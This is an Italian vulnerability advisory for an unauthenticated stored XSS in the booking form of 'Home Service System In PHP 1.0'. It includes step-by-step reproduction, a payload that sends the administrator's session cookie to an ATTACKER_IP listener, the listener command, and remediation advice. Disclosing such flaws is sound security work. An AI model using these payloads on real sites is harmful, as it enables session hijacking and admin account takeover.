home-service-system-unauth-stored-xss-admin-takeover

Dettagli della Vulnerabilità

Campo	Dettagli
Vendor	code-projects.org
Prodotto	Home Service System In PHP
Versione	1.0
Tipo di Vulnerabilità	Cross-Site Scripting (XSS) Memorizzato
CWE	CWE-79
Autenticazione Richiesta	No
Autore	Imad Alvi

Descrizione

Una vulnerabilità di Cross-Site Scripting (XSS) Memorizzato esiste nel file booking.php di Home Service System In PHP 1.0. Utenti non autenticati possono iniettare payload JavaScript malevoli tramite i campi del modulo di prenotazione. L'input non sanificato viene memorizzato nel database e renderizzato senza codifica di output nel pannello di amministrazione (admin.php), dove viene eseguito nel contesto del browser dell'amministratore.

Ciò consente a un attaccante non autenticato di rubare il cookie di sessione dell'amministratore, eseguire azioni per conto dell'amministratore o compromettere completamente l'account admin.

---

Componente Interessato

• File: booking.php
• Parametri: fname, lname
• Sink: admin.php → Gestione Prenotazioni

---

Passaggi per la Riproduzione

1. Naviga alla pagina di prenotazione come utente non autenticato: http://TARGET/homeservices/booking.php?provider=

   

2. Nel campo Nome, inietta il seguente payload:

<script>new Image().src="http://ATTACKER_IP:PORT?c="+document.cookie</script>

3. Compila i campi rimanenti con dati validi e invia la prenotazione.

4. Avvia un listener sulla tua macchina attaccante:

php -S 0.0.0.0:PORT

5. Attendi che l'amministratore visiti la sezione Gestione Prenotazioni in admin.php.

6. Il payload viene eseguito nel browser dell'amministratore, esfiltrando il cookie di sessione al tuo listener.

   

---

Proof of Concept

Payload (Alert)

<script>alert(1)</script>

Payload (Dirottamento Sessione)

<script>new Image().src="http://ATTACKER_IP:7979?c="+document.cookie</script>

Impatto

Questa vulnerabilità consente a un attaccante remoto non autenticato di compromettere completamente l'applicazione.

Un attaccante può:

• Eseguire JavaScript arbitrario nel browser dell'amministratore
• Rubare il cookie di sessione PHPSESSID dell'amministratore
• Dirottare la sessione dell'amministratore e ottenere pieno accesso amministrativo
• Eseguire qualsiasi azione amministrativa (gestire prenotazioni, fornitori, ecc.)

Ciò comporta la compromissione completa dell'applicazione.

Rimedio

• Applicare htmlspecialchars() con ENT_QUOTES su tutti gli input forniti dall'utente prima di memorizzarli o renderizzarli
• Implementare un'intestazione Content Security Policy (CSP)
• Validare e sanificare tutti gli input dei moduli lato server

---

Riferimenti

• Home Service System In PHP - code-projects.org